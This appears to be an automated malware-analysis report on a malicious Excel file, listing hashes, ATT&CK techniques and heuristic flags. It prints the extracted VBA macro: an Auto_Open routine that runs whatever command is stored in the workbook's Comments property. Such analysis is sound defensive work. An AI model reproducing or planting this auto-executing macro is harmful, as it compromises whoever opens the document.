Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 42246244a54d87a1…

MALICIOUS

Office (OOXML)

14.2 KB Created: 2021-09-23 05:02:55 UTC Authoring application: Microsoft Excel 14.0300 First seen: 2021-09-27
MD5: 91c1729625160765c6b85deeac1f843b SHA-1: 9d7c43cf6305d63244cec10ae7e56953cf2633f3 SHA-256: 42246244a54d87a1a0cbf06d2bd7c753089cc1eeb272a50a38e7f3d0b8a47a87
160 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1566.001 Spearphishing Attachment

This Office document was flagged as malicious. Specific URLs and indicators for this sample are listed in the indicators section.

Heuristics 4

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1461 bytes
SHA-256: 2592e91f9a13ceece454a03acc315e6863892df50d796e61baa0f57ab8b79c90
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "현재_통합_문서"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub Auto_Open()
Dim prop As DocumentProperty
    For Each prop In ActiveWorkbook.BuiltinDocumentProperties
        If prop.Name = "Comments" Then
            Shell prop.Value
        End If
    Next
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 18944 bytes
SHA-256: e1cbc1d9150921dc4f095817494cbf7470dd141397507e7840c363f6cfd643ac

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